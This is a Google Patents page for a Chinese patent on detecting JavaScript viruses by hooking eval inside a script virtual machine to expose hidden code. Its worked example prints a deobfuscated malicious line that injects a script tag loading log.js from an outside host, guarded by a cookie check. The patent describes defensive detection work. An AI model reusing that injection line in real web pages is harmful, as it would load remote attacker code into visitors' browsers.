CN103258163B - 一种脚本病毒识别方法、装置及系统 - Google Patents
一种脚本病毒识别方法、装置及系统 Download PDFInfo
- Publication number
- CN103258163B CN103258163B CN201310179635.8A CN201310179635A CN103258163B CN 103258163 B CN103258163 B CN 103258163B CN 201310179635 A CN201310179635 A CN 201310179635A CN 103258163 B CN103258163 B CN 103258163B
- Authority
- CN
- China
- Prior art keywords
- script
- function
- checked
- initialization
- file
- Prior art date
- Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
- Active
Links
Classifications
-
- G—PHYSICS
- G06—COMPUTING; CALCULATING OR COUNTING
- G06F—ELECTRIC DIGITAL DATA PROCESSING
- G06F21/00—Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
- G06F21/50—Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
- G06F21/55—Detecting local intrusion or implementing counter-measures
- G06F21/56—Computer malware detection or handling, e.g. anti-virus arrangements
- G06F21/561—Virus type analysis
-
- G—PHYSICS
- G06—COMPUTING; CALCULATING OR COUNTING
- G06F—ELECTRIC DIGITAL DATA PROCESSING
- G06F21/00—Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
- G06F21/50—Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
- G06F21/55—Detecting local intrusion or implementing counter-measures
- G06F21/56—Computer malware detection or handling, e.g. anti-virus arrangements
- G06F21/566—Dynamic detection, i.e. detection performed at run-time, e.g. emulation, suspicious activities
Abstract
本发明实施例公开了一种脚本病毒识别方法、装置及系统,用于提高脚本病毒识别率,该方法包括:加载脚本文件运行环境;通过在脚本文件运行环境中加载并运行特征脚本,在脚本文件运行环境中设定特征函数捕获函数、特征函数捕获函数与特征函数的对应关系以及病毒特征;通过在脚本文件运行环境中加载并运行待查脚本,查找待查脚本中的特征函数,利用特征函数捕获函数替换对应的特征函数,并获得特征函数中的可执行代码;判断可执行代码是否符合病毒特征;当可执行代码符合病毒特征时,报告待查脚本为脚本病毒。
Description
技术领域
本发明涉及信息安全技术领域,具体涉及一种脚本病毒识别方法、装置及系统。
背景技术
随着互联网时代的来临,脚本病毒的传播也在加剧。脚本病毒是通过脚本语言编写的病毒,例如JS脚本病毒(使用JavaScript脚本语言编写)或VBS脚本病毒(使用VBScript脚本语言编写)。脚本病毒具有传播范围大、感染力强、破坏力大等特点,对用户信息安全和用户财产安全造成极大的危害,如何对脚本病毒高效查杀成为信息安全领域的研究重点。
现有技术中杀毒引擎所采用的脚本病毒识别技术主要是全文搜索可疑脚本文件代码,如果匹配到病毒特征则提示为病毒。但是,脚本语言非常灵活,稍微改变一下病毒脚本文件代码的结构或内容,具有相同恶意行为的一类脚本病毒就可以有很多种变种。通过对病毒脚本文件代码本身进行扫描,一个病毒特征只能命中具有相同恶意行为的一类病毒的一个变种,因此,这种脚本病毒识别方法存在病毒识别命中率低的问题。
发明内容
有鉴于此,本发明实施例的主要目的是提供一种脚本病毒识别方法、装置及系统,以解决现有技术中脚本病毒识别率低的问题。
为解决上述问题,本发明实施例提供的技术方案如下:
一种脚本病毒识别方法,所述方法包括:
加载脚本文件运行环境;
通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中设定特征函数捕获函数、所述特征函数捕获函数与特征函数的对应关系以及病毒特征;
通过在所述脚本文件运行环境中加载并运行待查脚本,查找所述待查脚本中的特征函数,利用所述特征函数捕获函数替换对应的特征函数,并获得所述特征函数中的可执行代码;
判断所述可执行代码是否符合所述病毒特征,如果是,报告所述待查脚本为脚本病毒。
可选的,所述方法还包括:通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中设定初始化特征条件;
在查找所述待查脚本中的特征函数之前,通过在所述脚本文件运行环境中加载并运行待查脚本,判断所述待查脚本是否符合所述初始化特征条件;当所述待查脚本符合所述初始化特征条件时,查找所述待查脚本中的特征函数,利用所述特征函数捕获函数替换对应的特征函数,并获得所述特征函数中的可执行代码。
可选的,所述设定初始化特征条件,包括:
声明特征初始化全局变量与特征初始化函数;设定利用所述特征初始化全局变量,调用所述特征初始化函数时的第一执行结果为初始化条件。
可选的,所述判断所述待查脚本是否符合所述初始化特征条件,包括:
所述待查脚本利用所述特征初始化全局变量,调用所述特征初始化函数产生第二执行结果,判断所述第二执行结果是否与所述初始化特征条件相同,如果是,则所述待查脚本符合所述初始化特征条件,如果否,则所述待查脚本不符合所述初始化特征条件。
可选的,所述获得所述特征函数中的可执行代码,包括:
当所述特征函数中的函数体为可执行代码时,直接获得所述特征函数中的可执行代码;
当所述特征函数中的函数体嵌套子函数时,通过运行所述特征函数中嵌套的子函数,获得所述特征函数中的可执行代码。
可选的,在通过在所述脚本文件运行环境中运行待查脚本之前,所述方法还包括:
判断待查文件是否为脚本文件,当所述待查文件为脚本文件时,所述待查文件直接作为待查脚本,当所述待查文件不是脚本文件且所述待查文件中包含脚本文件时,提取所述待查文件中的脚本文件作为待查脚本。
可选的,所述方法还包括:
特征病毒库中包括多个特征脚本,重复执行步骤在所述脚本文件运行环境中加载并运行特征脚本及后续步骤,直到报告所述待查脚本为脚本病毒或全部特征脚本完成在所述脚本文件运行环境中加载并运行。
一种脚本病毒识别装置,所述装置包括:
加载单元,用于加载脚本文件运行环境;
初始化单元,用于通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中设定特征函数捕获函数、所述特征函数捕获函数与特征函数的对应关系以及病毒特征;
获得单元,用于通过在所述脚本文件运行环境中加载并运行待查脚本,查找所述待查脚本中的特征函数,利用所述特征函数捕获函数替换对应的特征函数,并获得所述特征函数中的可执行代码;
第二判断单元,用于判断所述可执行代码是否符合所述病毒特征;
病毒报告单元,用于当所述可执行代码符合所述病毒特征时,报告所述待查脚本为脚本病毒。
可选的,所述初始化单元还用于:通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中设定初始化特征条件;
所述装置还包括:
第一判断单元,用于通过在所述脚本文件运行环境中加载并运行待查脚本,判断所述待查脚本是否符合所述初始化特征条件;
所述获得单元,用于通过在所述脚本文件运行环境中加载并运行待查脚本,当所述待查脚本符合所述初始化特征条件时,查找所述待查脚本中的特征函数,利用所述特征函数捕获函数替换对应的特征函数,并获得所述特征函数中的可执行代码。
可选的,所述初始化单元包括:
第一设定子单元,用于通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中声明特征初始化全局变量与特征初始化函数;设定利用所述特征初始化全局变量,调用所述特征初始化函数时的第一执行结果为初始化条件;
第二设定子单元,用于声明特征函数捕获函数、所述特征函数捕获函数与特征函数的对应关系以及设定病毒特征。
可选的,所述第一判断单元具体用于:
通过在所述脚本文件运行环境中加载并运行待查脚本,所述待查脚本利用所述特征初始化全局变量,调用所述特征初始化函数产生第二执行结果,判断所述第二执行结果是否与所述初始化特征条件相同,如果是,则所述待查脚本符合所述初始化特征条件,如果否,则所述待查脚本不符合所述初始化特征条件。
可选的,所述获得单元包括:
查找子单元,用于通过在所述脚本文件运行环境中加载并运行待查脚本,查找所述待查脚本中的特征函数;
替换子单元,用于利用所述特征函数捕获函数替换对应的特征函数;
获得子单元,用于当所述特征函数中的函数体为可执行代码时,直接获得所述特征函数中的可执行代码;当所述特征函数中的函数体嵌套子函数时,通过运行所述特征函数中嵌套的子函数,获得所述特征函数中的可执行代码。
可选的,所述装置还包括:
提取待查脚本单元,判断待查文件是否为脚本文件,当所述待查文件为脚本文件时,所述待查文件直接作为待查脚本,当所述待查文件不是脚本文件且所述待查文件中包含脚本文件时,提取所述待查文件中的脚本文件作为待查脚本。
一种脚本病毒识别系统,所述系统包括:
特征病毒库以及病毒识别引擎;
所述特征病毒库,用于保存多个特征脚本;
所述病毒识别引擎是上述脚本病毒识别装置。
由此可见,本发明实施例具有如下有益效果:本发明实施例通过在脚本文件运行环境中加载并运行特征脚本以及待查脚本,预设初始化特征条件,如果待查脚本符合初始化特征条件则其可能是脚本病毒,该待查脚本将会在预先模拟出的脚本病毒的运行环境中继续运行,直到查找到特征函数,该特征函数可以用于执行其包含的可执行代码;利用特征函数捕获函数替换对应的特征函数,使特征函数并不执行其包含的可执行代码,而是利用特征函数捕获函数仅获得特征函数中的可执行代码,这样,待查脚本就暴露了其真正的可执行行为是什么;此时,通过待查脚本中所隐藏的真正的可执行代码进行病毒特征的扫描,从而可以达到一个特征脚本命中具有相同恶意行为的一类病毒,因此,本发明实施例具有脚本病毒识别命中率提高的效果。
附图说明
图1为本发明实施例脚本病毒识别方法实施例一的流程图;
图2为本发明实施例脚本病毒识别方法实施例二的流程图;
图3为本发明实施例脚本病毒识别方法实施例三的流程图;
图4为本发明实施例脚本病毒识别装置实施例一的示意图;
图5为本发明实施例脚本病毒识别装置中初始化单元实施例的示意图;
图6为本发明实施例脚本病毒识别装置中获得单元实施例的示意图;
图7为本发明实施例脚本病毒识别装置实施例二的示意图;
图8为本发明实施例脚本病毒识别系统实施例的示意图;
图9是本发明实施例提供的终端的结构示意图。
具体实施方式
为使本发明的上述目的、特征和优点能够更加明显易懂,下面结合附图和具体实施方式对本发明实施例作进一步详细的说明。
本发明实施例将从脚本病毒识别装置的角度进行描述,该脚本病毒识别装置具体可以集成在客户端中,该客户端可以装载在终端中,该终端具体可以为智能手机、平板电脑、电子书阅读器、MP3(Moving Picture Experts GroupAudio Layer III,动态影像专家压缩标准音频层面3)播放器、MP4(MovingPicture Experts Group Audio Layer IV,动态影像专家压缩标准音频层面3)播放器、膝上型便携计算机和台式计算机等等。
本发明实施例是针对现有技术中脚本病毒识别命中率低的问题,提出不通过脚本病毒代码本身进行病毒特征扫描,而是通过在脚本文件运行环境中运行特征脚本与待查脚本,如果待查脚本是病毒脚本,即符合预设的初始化特征条件,则病毒脚本可以继续运行,将其隐含的真正恶意可执行代码鉴别出来。这样,即使病毒脚本代码本身变化产生变种,也可以获得其真正恶意可执行代码,通过对该可执行代码进行病毒特征扫描,从而实现利用特征脚本识别一类具有相同恶意行为的脚本病毒。
参见图1所示,本发明实施例脚本病毒识别方法实施例一包括以下步骤:
步骤101:加载脚本文件运行环境。
可以通过加载虚拟机的方式,加载脚本文件运行环境。以特征脚本以及待查脚本均采用JavaScript语言编写为例,可以通过加载JavaScript虚拟机(即JS虚拟机)的方式提供脚本文件运行环境。JS虚拟机可以提供模拟JavaScript执行的环境,例如提供JavaScript内置的一些函数等,也可以执行JavaScript脚本,针对本发明实施例则主要用于执行特征脚本与待查脚本。
本发明实施例脚本病毒识别方法的触发可以通过用户点击扫描、文件监控系统识别到有文件下载到本机或者网页浏览时有脚本文件需要执行等多种方式触发。
步骤102:通过在脚本文件运行环境中加载并运行特征脚本,在脚本文件运行环境中设定特征函数捕获函数、特征函数捕获函数与特征函数的对应关系以及病毒特征。
特征病毒库中可以保存多个特征脚本,特征病毒库中的特征脚本可以实时增加并更新,每个特征脚本用于针对相应的脚本病毒的识别。特征脚本在脚本文件运行环境中加载并运行。
设定特征函数捕获函数、特征函数捕获函数与特征函数的对应关系,依然以JavaScript语言为例,可以采用Hook JS的方式,Hook指的是将一个函数的调用变成另一个函数的调用。即设定特征函数捕获函数与特征函数的对应关系,当后续脚本调用特征函数时,变成执行准备好的特征函数捕获函数。
如果待查脚本是脚本病毒,则特征函数用于执行特征函数中的可执行代码,而设定特征函数捕获函数可以替换特征函数,即待查脚本调用特征函数时变为调用特征函数捕获函数,特征函数捕获函数用于获得其函数体内的可执行代码的字符串,这样,特征函数中的可执行代码不会被执行,而仅仅会得到可执行代码,可以通过可执行代码进行病毒特征的校验。
步骤103:通过在脚本文件运行环境中加载并运行待查脚本,查找待查脚本中的特征函数,利用特征函数捕获函数替换对应的特征函数,并获得特征函数中的可执行代码。
特征函数用于执行其函数体中的可执行代码,而特征函数捕获函数用于获得其函数体内的可执行代码的字符串。在特征脚本运行到调用特征函数时会调用特征函数捕获函数,那么,获得特征函数中的可执行代码可能有两种方式:当特征函数中的函数体为可执行代码时,直接获得特征函数中的可执行代码。即特征函数中的函数体本身就是可执行代码,则利用特征函数捕获函数替换对应的特征函数,可以直接获得可执行代码的字符串。当特征函数中的函数体嵌套子函数时,通过运行特征函数中嵌套的子函数,获得特征函数中的可执行代码。即当特征函数中的函数体嵌套子函数时,嵌套的子函数可以继续运行出可执行代码,将特征函数中包含嵌套子函数先转换为特征函数中包含可执行代码,利用特征函数捕获函数替换对应的特征函数,可以获得特征函数中的可执行代码。
步骤104:判断可执行代码是否符合病毒特征,如果是,报告待查脚本为脚本病毒。
该病毒可以在特征脚本中预先进行了设定,当可执行代码符合病毒特征时,可以通过脚本文件运行环境中提供的回调函数report进行病毒报告。
基于上述实施例还可以通过在脚本文件运行环境中加载并运行特征脚本,在脚本文件运行环境中设定初始化特征条件;则在查找待查脚本中的特征函数之前,可以通过在脚本文件运行环境中加载并运行待查脚本,判断待查脚本是否符合初始化特征条件;当待查脚本符合初始化特征条件时,查找待查脚本中的特征函数,利用特征函数捕获函数替换对应的特征函数,并获得特征函数中的可执行代码。
参见图2所示,本发明实施例脚本病毒识别方法实施例二包括以下步骤:
步骤201:加载脚本文件运行环境。
步骤202:通过在脚本文件运行环境中加载并运行特征脚本,在脚本文件运行环境中设定初始化特征条件、特征函数捕获函数、特征函数捕获函数与特征函数的对应关系以及病毒特征。
特征脚本在脚本文件运行环境中加载并运行,可以在脚本文件运行环境中设定初始化特征条件。运行特征脚本设定初始化特征条件的目的是如果待查脚本是脚本病毒,则模拟该脚本病毒本身的初始化条件,让其可以继续执行直到暴露其真正的可执行代码。
设定初始化特征条件具体可以包括声明特征初始化全局变量与特征初始化函数;设定利用特征初始化全局变量,调用特征初始化函数时的第一执行结果为初始化条件。
通过一个具体实例再说明一下声明特征初始化全局变量、声明特征初始化函数以及Hook JS的功能。
声明特征初始化全局变量,例如声明全局变量document,var document=new Object(),则后续在同一脚本文件运行环境中运行的脚本均可以使用这个变量。
声明特征初始化函数,例如声明函数Add,function Add(num1,num2){return num1+num2;},则后续在同一脚本文件运行环境中运行的脚本均可以调用这个函数。如后续脚本执行var addresult=Add(2,3),则会执行声明过的函数Add。实际执行结果为addresult=5。
Hook JS指的是将一个函数的调用变成另一个函数的调用。例如上述Add函数的功能是将传入的参数相加并且将结果返回。可以设定一个新的函数function myAdd(num1,num2){return num1 * num2},然后执行如下脚本add=myAdd,则再执行var addresult=Add(2,3)时将会调用新的myAdd函数,myAdd函数的功能是将传入的参数相乘并且将结果返回,则addresult=6。
步骤203:通过在脚本文件运行环境中加载并运行待查脚本,判断待查脚本是否符合初始化特征条件。
当待查脚本在脚本文件运行环境中加载并运行,具体的,待查脚本可以利用已经在脚本文件运行环境中设定的特征初始化全局变量,调用特征初始化函数产生第二执行结果,判断第二执行结果是否与初始化特征条件相同,如果是,则待查脚本符合初始化特征条件,如果否,则待查脚本不符合初始化特征条件。
当待查脚本符合初始化特征条件,则说明其可以在预先模拟的病毒运行环境中继续运行,还需要继续对其运行结果继续判断。当待查脚本不符合初始化特征条件则说明利用这个特征脚本进行查毒时,该待查脚本不符合脚本病毒特征。
步骤204:当待查脚本符合初始化特征条件时,查找待查脚本中的特征函数,利用特征函数捕获函数替换对应的特征函数,并获得特征函数中的可执行代码。
步骤205:判断可执行代码是否符合病毒特征。
步骤206:当可执行代码符合病毒特征时,报告待查脚本为脚本病毒。
基于以上实施例在通过在脚本文件运行环境中运行待查脚本之前,本发明实施例脚本病毒识别方法还可以包括:
判断待查文件是否为脚本文件,当待查文件为脚本文件时,待查文件直接作为待查脚本,当待查文件不是脚本文件且待查文件中包含脚本文件时,提取待查文件中的脚本文件作为待查脚本。
待查脚本可以嵌套在网页或Pdf文件中,也可以是直接运行的脚本,则待查脚本嵌套在网页或Pdf文件中时,需要预先将待查脚本提取出来。
例如JavaScript代码嵌套在Html网页文件中时,在Html网页文件中利用<script[^>]*>([\s\S]*?)</scirpt>这种模式匹配文件,()内的所有内容就是JavaScript代码,可以将其分离出来作为待查脚本。
例如JavaScript代码嵌套在Pdf网页文件中时,在Pdf网页文件中利用javascript/js\(([\s\S]*?[^\\])\)这种模式匹配文件,()内的所有内容就是JavaScript代码,可以将其分离出来作为待查脚本。
另外,特征病毒库中可以包括多个特征脚本,重复执行步骤在脚本文件运行环境中加载并运行特征脚本及后续步骤,直到报告待查脚本为脚本病毒或全部特征脚本完成在脚本文件运行环境中加载并运行。即一个待查脚本与全部特征脚本进行匹配之后依然没有判定其是脚本病毒,则可以给出该待查脚本不是脚本病毒的结论。
参见图3所示,本发明实施例脚本病毒识别方法实施例三可以包括以下步骤:
步骤301:判断待查文件是否为脚本文件,如果是,进入步骤302,如果否,进入步骤303。
步骤302:待查文件直接作为待查脚本。
步骤303:判断待查文件中是否包含脚本文件,如果是,进入步骤304,如果否,结束。
步骤304:提取待查文件中的脚本文件作为待查脚本。
步骤305:加载脚本文件运行环境。
步骤306:从病毒库中读取一个特征脚本。
步骤307:通过在脚本文件运行环境中加载并运行特征脚本,在脚本文件运行环境中设定初始化特征条件、特征函数捕获函数、特征函数捕获函数与特征函数的对应关系以及病毒特征。
具体的,可以声明特征初始化全局变量与特征初始化函数;设定利用特征初始化全局变量,调用特征初始化函数时的第一执行结果为初始化条件,同时设定特征函数捕获函数、特征函数捕获函数与特征函数的对应关系以及病毒特征。
需要注意的是,步骤301-304可以在步骤305-307任意一项之后执行,本发明实施例对此不进行限定。
步骤308:在脚本文件运行环境中加载并运行待查脚本。
步骤309:判断待查脚本是否符合初始化特征条件,如果是,进入步骤310,如果否,进入步骤311。
具体的,可以通过所述待查脚本利用所述特征初始化全局变量,调用所述特征初始化函数产生第二执行结果,判断所述第二执行结果是否与所述初始化特征条件相同来判断待查脚本是否符合初始化特征条件。
步骤310:查找待查脚本中的特征函数,利用特征函数捕获函数替换对应的特征函数,并获得特征函数中的可执行代码。
具体的,当所述特征函数中的函数体为可执行代码时,可以直接获得所述特征函数中的可执行代码;当所述特征函数中的函数体嵌套子函数时,可以通过运行所述特征函数中嵌套的子函数,获得所述特征函数中的可执行代码。
步骤311:判断是否全部特征脚本与该待查脚本进行过扫描,如果是,报告待查脚本无毒,如果否,返回步骤306。
步骤312:判断可执行代码是否符合病毒特征,如果是,报告待查脚本为脚本病毒,如果否,返回步骤311。
再通过一个具体实施例,对上述实施例进行说明,此实施例中特征脚本与待查脚本均采用JavaScript脚本语言编写。
加载脚本文件运行环境;在脚本文件运行环境中加载并运行特征脚本,特征脚本如下所示:
运行该特征脚本后,在脚本文件运行环境中声明特征初始化全局变量document、cookie,将document的cookie属性设置为cookie,声明特征初始化函数hookIndexOf,将cookie的indexOf属性设置为hookIndexOf函数,这里完成了一个hook过程,相当与cookie的indexOf函数被hook了。则初始化特征条件为运行病毒脚本中可能出现的语句document.cookie.indexOf(‘helio’)时执行结果为-1。
声明特征函数捕获函数hookEval、特征函数捕获函数hookEval与特征函数Eval的对应关系,即将eval函数设置成hookEval函数完成一个hook过程,在该脚本文件运行环境中再调用eval函数时将会调用hookEval函数。而病毒特征为可执行代码中是否包含x169.net。
在脚本文件运行环境中加载并运行待查脚本,若待查脚本如下所示(仅给出关键代码部分示例):
If(document.cookie.indexOf(‘helio’)==-1)
{/*省略*/
eval(/*省略*/)}
该待查脚本中If(document.cookie.indexOf(‘helio’)==-1),执行变量document中cookie变量的indefOf属性,由于特征脚本的运行在脚本运行环境中设定了相关的特征初始化全局变量、特征初始化函数,则利用这些特征初始化全局变量、特征初始化函数可以得到第二执行结果,即执行document.cookie.indexOf(‘helio’)的结果为-1,与初始化特征条件相符,则待查脚本可以继续向下运行。
查找到特征函数eval时,将eval函数替换为hookEval函数,但是eval函数内嵌套的子函数可以继续执行出一段可执行代码:
document.writeln(<script language=javascript
src=″http://bbs.xcdx169.net/include/log.js?fegf″></script>″)
则hookEval函数可以获得上述可执行代码的字符串。
通过判断可执行代码中是否包含病毒特征x169.net,如果包含就执行report(“virus”),最终报告该待查文件为脚本病毒。
由此可见,本发明实施例通过在脚本文件运行环境中加载并运行特征脚本以及待查脚本,预设初始化特征条件,如果待查脚本符合初始化特征条件则其可能是脚本病毒,该待查脚本将会在预先模拟出的脚本病毒的运行环境中继续运行,直到查找到特征函数,特征函数是用于执行其包含的可执行代码的;利用特征函数捕获函数替换对应的特征函数,使特征函数并不执行其包含的可执行代码,而是利用特征函数捕获函数仅获得特征函数中的可执行代码,这样,待查脚本就暴露了其真正的可执行行为是什么;此时,通过待查脚本中所隐藏的真正的可执行代码进行病毒特征的扫描,从而可以达到运行一个特征脚本而命中具有相同恶意行为的一类病毒,因此,本发明实施例具有脚本病毒识别命中率提高的效果。
相应的,本发明实施例还提供一种脚本病毒识别装置实施例一,参见图4所示,该装置包括:
加载单元401,用于加载脚本文件运行环境。
初始化单元402,用于通过在脚本文件运行环境中加载并运行特征脚本,在脚本文件运行环境中设定初始化特征条件、特征函数捕获函数、特征函数捕获函数与特征函数的对应关系以及病毒特征。
获得单元404,用于通过在所述脚本文件运行环境中加载并运行待查脚本,查找待查脚本中的特征函数,利用特征函数捕获函数替换对应的特征函数,并获得特征函数中的可执行代码。
第二判断单元405,用于判断可执行代码是否符合病毒特征。
病毒报告单元406,用于当可执行代码符合病毒特征时,报告待查脚本为脚本病毒。
基于上述实施例,初始化单元还可以用于:通过在脚本文件运行环境中加载并运行特征脚本,在脚本文件运行环境中设定初始化特征条件;
则脚本病毒识别装置还可以包括:第一判断单元403,用于通过在脚本文件运行环境中加载并运行待查脚本,判断待查脚本是否符合初始化特征条件;
获得单元,具体用于通过在脚本文件运行环境中加载并运行待查脚本,当待查脚本符合初始化特征条件时,查找待查脚本中的特征函数,利用特征函数捕获函数替换对应的特征函数,并获得特征函数中的可执行代码。其中,参见图4所示,初始化单元302可以包括:
第一设定子单元401,用于通过在脚本文件运行环境中加载并运行特征脚本,在脚本文件运行环境中声明特征初始化全局变量与特征初始化函数;设定利用特征初始化全局变量,调用特征初始化函数时的第一执行结果为初始化条件。
第二设定子单元402,用于声明特征函数捕获函数、特征函数捕获函数与特征函数的对应关系以及设定病毒特征。
那么,第一判断单元303则具体可以用于:
通过在脚本文件运行环境中加载并运行待查脚本,待查脚本利用特征初始化全局变量,调用特征初始化函数产生第二执行结果,判断第二执行结果是否与初始化特征条件相同,如果是,则待查脚本符合初始化特征条件,如果否,则待查脚本不符合初始化特征条件。
参见图6所示,获得单元404可以包括:
查找子单元601,用于通过在所述脚本文件运行环境中加载并运行待查脚本,查找待查脚本中的特征函数;
替换子单元602,用于利用特征函数捕获函数替换对应的特征函数;
获得子单元603,用于当特征函数中的函数体为可执行代码时,直接获得特征函数中的可执行代码;当特征函数中的函数体嵌套子函数时,通过运行特征函数中嵌套的子函数,获得特征函数中的可执行代码。
参见图7所示,本发明实施例脚本病毒识别装置实施例二还可以包括:
提取待查脚本单元407,判断待查文件是否为脚本文件,当待查文件为脚本文件时,待查文件直接作为待查脚本,当待查文件不是脚本文件且待查文件中包含脚本文件时,提取待查文件中的脚本文件作为待查脚本。
相应的,本发明实施例还提供一种脚本病毒识别系统实施例,参见图8所示,该系统包括:
特征病毒库801以及病毒识别引擎802。
特征病毒库,用于保存多个特征脚本。
特征病毒库中的特征脚本可以实时增加并更新。
病毒识别引擎可以是上述实施例中提供的脚本病毒识别装置。
本系统实施例的工作原理是:
病毒识别引擎获得待查脚本,并加载脚本文件运行环境;从特征病毒库中读取一个特征脚本,通过在脚本文件运行环境中加载并运行特征脚本,在脚本文件运行环境中设定初始化特征条件、特征函数捕获函数、特征函数捕获函数与特征函数的对应关系以及病毒特征;病毒识别引擎通过在脚本文件运行环境中加载并运行待查脚本,判断待查脚本是否符合初始化特征条件;当待查脚本符合初始化特征条件时,查找待查脚本中的特征函数,利用特征函数捕获函数替换对应的特征函数,并获得特征函数中的可执行代码;判断可执行代码是否符合病毒特征;当可执行代码符合病毒特征时,报告待查脚本为脚本病毒。
相应的,本发明实施例还提供一种终端,如图9所示,该终端可以包括射频(RF,Radio Frequency)电路901、包括有一个或一个以上计算机可读存储介质的存储器902、输入单元903、显示单元904、传感器905、音频电路906、无线保真(WiFi,Wireless Fidelity)模块907、包括有一个或者一个以上处理核心的处理器908、以及电源909等部件。本领域技术人员可以理解,图9中示出的终端结构并不构成对终端的限定,可以包括比图示更多或更少的部件,或者组合某些部件,或者不同的部件布置。其中:
RF电路901可用于收发信息或通话过程中,信号的接收和发送,特别地,将基站的下行信息接收后,交由一个或者一个以上处理器908处理;另外,将涉及上行的数据发送给基站。通常,RF电路901包括但不限于天线、至少一个放大器、调谐器、一个或多个振荡器、用户身份模块(SIM,SubscriberIdentity Module)卡、收发信机、耦合器、低噪声放大器(LNA,Low NoiseAmplifier)、双工器等。此外,RF电路901还可以通过无线通信与网络和其他设备通信。所述无线通信可以使用任一通信标准或协议,包括但不限于全球移动通讯系统(GSM,Global System of Mobile communication)、通用分组无线服务(GPRS,General Packet Radio Service)、码分多址(CDMA,Code Division Multiple Access)、宽带码分多址(WCDMA,Wideband CodeDivision Multiple Access)、长期演进(LTE,Long Term Evolution)、电子邮件、短消息服务(SMS,Short Messaging Service)等。
存储器902可用于存储软件程序以及模块,处理器908通过运行存储在存储器902的软件程序以及模块,从而执行各种功能应用以及数据处理。存储器902可主要包括存储程序区和存储数据区,其中,存储程序区可存储操作系统、至少一个功能所需的应用程序(比如声音播放功能、图像播放功能等)等;存储数据区可存储根据终端的使用所创建的数据(比如音频数据、电话本等)等。此外,存储器902可以包括高速随机存取存储器,还可以包括非易失性存储器,例如至少一个磁盘存储器件、闪存器件、或其他易失性固态存储器件。相应地,存储器902还可以包括存储器控制器,以提供处理器908和输入单元903对存储器902的访问。
输入单元903可用于接收输入的数字或字符信息,以及产生与用户设置以及功能控制有关的键盘、鼠标、操作杆、光学或者轨迹球信号输入。具体地,在一个具体的实施例中,输入单元903可包括触敏表面以及其他输入设备。触敏表面,也称为触摸显示屏或者触控板,可收集用户在其上或附近的触摸操作(比如用户使用手指、触笔等任何适合的物体或附件在触敏表面上或在触敏表面附近的操作),并根据预先设定的程式驱动相应的连接装置。可选的,触敏表面可包括触摸检测装置和触摸控制器两个部分。其中,触摸检测装置检测用户的触摸方位,并检测触摸操作带来的信号,将信号传送给触摸控制器;触摸控制器从触摸检测装置上接收触摸信息,并将它转换成触点坐标,再送给处理器908,并能接收处理器908发来的命令并加以执行。此外,可以采用电阻式、电容式、红外线以及表面声波等多种类型实现触敏表面。除了触敏表面,输入单元903还可以包括其他输入设备。具体地,其他输入设备可以包括但不限于物理键盘、功能键(比如音量控制按键、开关按键等)、轨迹球、鼠标、操作杆等中的一种或多种。
显示单元904可用于显示由用户输入的信息或提供给用户的信息以及终端的各种图形用户接口,这些图形用户接口可以由图形、文本、图标、视频和其任意组合来构成。显示单元904可包括显示面板,可选的,可以采用液晶显示器(LCD,Liquid Crystal Display)、有机发光二极管(OLED,OrganicLight-Emitting Diode)等形式来配置显示面板。进一步的,触敏表面可覆盖显示面板,当触敏表面检测到在其上或附近的触摸操作后,传送给处理器908以确定触摸事件的类型,随后处理器908根据触摸事件的类型在显示面板上提供相应的视觉输出。虽然在图9中,触敏表面与显示面板是作为两个独立的部件来实现输入和输入功能,但是在某些实施例中,可以将触敏表面与显示面板集成而实现输入和输出功能。
终端还可包括至少一种传感器905,比如光传感器、运动传感器以及其他传感器。具体地,光传感器可包括环境光传感器及接近传感器,其中,环境光传感器可根据环境光线的明暗来调节显示面板的亮度,接近传感器可在终端移动到耳边时,关闭显示面板和/或背光。作为运动传感器的一种,重力加速度传感器可检测各个方向上(一般为三轴)加速度的大小,静止时可检测出重力的大小及方向,可用于识别手机姿态的应用(比如横竖屏切换、相关游戏、磁力计姿态校准)、振动识别相关功能(比如计步器、敲击)等;至于终端还可配置的陀螺仪、气压计、湿度计、温度计、红外线传感器等其他传感器,在此不再赘述。
音频电路906、扬声器,传声器可提供用户与终端之间的音频接口。音频电路906可将接收到的音频数据转换后的电信号,传输到扬声器,由扬声器转换为声音信号输出;另一方面,传声器将收集的声音信号转换为电信号,由音频电路906接收后转换为音频数据,再将音频数据输出处理器908处理后,经RF电路901以发送给比如另一终端,或者将音频数据输出至存储器902以便进一步处理。音频电路906还可能包括耳塞插孔,以提供外设耳机与终端的通信。
WiFi属于短距离无线传输技术,终端通过WiFi模块907可以帮助用户收发电子邮件、浏览网页和访问流式媒体等,它为用户提供了无线的宽带互联网访问。虽然图9示出了WiFi模块907,但是可以理解的是,其并不属于终端的必须构成,完全可以根据需要在不改变发明的本质的范围内而省略。
处理器908是终端的控制中心,利用各种接口和线路连接整个手机的各个部分,通过运行或执行存储在存储器902内的软件程序和/或模块,以及调用存储在存储器902内的数据,执行终端的各种功能和处理数据,从而对手机进行整体监控。可选的,处理器908可包括一个或多个处理核心;优选的,处理器908可集成应用处理器和调制解调处理器,其中,应用处理器主要处理操作系统、用户界面和应用程序等,调制解调处理器主要处理无线通信。可以理解的是,上述调制解调处理器也可以不集成到处理器908中。
终端还包括给各个部件供电的电源909(比如电池),优选的,电源可以通过电源管理系统与处理器908逻辑相连,从而通过电源管理系统实现管理充电、放电、以及功耗管理等功能。电源909还可以包括一个或一个以上的直流或交流电源、再充电系统、电源故障检测电路、电源转换器或者逆变器、电源状态指示器等任意组件。
尽管未示出,终端还可以包括摄像头、蓝牙模块等,在此不再赘述。具体在本实施例中,终端中的处理器908会按照如下的指令,将一个或一个以上的应用程序的进程对应的可执行文件加载到存储器902中,并由处理器908来运行存储在存储器902中的应用程序,从而实现各种功能:
加载脚本文件运行环境;
通过在所述脚本文件运行环境中加载并运行特征脚本,在所述脚本文件运行环境中设定特征函数捕获函数、所述特征函数捕获函数与特征函数的对应关系以及病毒特征;
